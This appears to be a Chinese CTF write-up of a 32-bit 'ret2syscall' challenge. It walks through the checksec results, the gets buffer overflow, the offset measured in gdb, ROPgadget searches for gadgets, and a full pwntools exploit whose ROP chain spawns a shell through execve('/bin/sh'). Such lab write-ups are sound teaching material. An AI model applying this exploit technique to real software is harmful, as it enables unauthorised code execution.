题目
checksec一下:
32位程序,没有canary、PIE,开了NX,放入IDA看一下:
有gets,可以溢出,不过没有system函数,也不能执行shellcode,查看字符发现有/bin/sh,那就是新学的系统调用。
假设程序中存在下面的代码:
mov eax, 0xb
mov ebx, [“/bin/sh”]
mov ecx, 0
mov edx, 0
int 0x80
=> execve("/bin/sh",NULL,NULL)
但是程序中并没有这串代码,所以需要使用ROP(返回导向编程)构造,构造方式如下图:
int 0x80 address |
'/bin/sh' address |
pop_rdx_ret address |
0 |
pop_rcx_ret address |
0 |
pop_rbx_ret address |
0xb |
pop_rax_ret address |
简单来说就是需要找到一些零零散散的gadget,然后组装成payload,不过前提是先溢出劫持控制器,这里IDA里给出v4的大小的'0x64',要溢出的话需要'0x68'也就是104个字节就行,不过这只是静态,主要还是得看看动态。
放入gdb调试:
0xffffcf38 - 0xffffcecc = 0x6c
很明显于IDA给的不符,这里填充就需要(108+4)=112个字节。
接下来找一下pop_eax_ret:
ROPgadget --binary ret2syscall --only "pop|ret"
pop_eax_ret_addr = 0x080bb196
虽然这里并没有找到pop_ebx_ret的地址,但是最后发现pop_ebx、pop_ecx、pop_edx的地址一致,那就省事了:
pop_ebx_ecx_edx_ret_addr = 0x0806eb90
接着找一下'/bin/sh'的地址:
ROPgadget --binary ret2syscall --string "/bin/sh"
最后在找一下'int 0x80'地址:
ROPgadget --binary ret2syscall --only "int"
int_0x80_addr = 0x08049421
exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
r = process('./ret2syscall')
pop_eax_ret_addr = 0x080bb196
pop_ebx_ecx_edx_ret_addr = 0x0806eb90
bin_sh_addr = 0x80BE408
int_0x80_addr = 0x08049421
payload = b'a'*112 + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_ebx_ecx_edx_ret_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_0x80_addr)
r.sendline(payload)
r.interactive()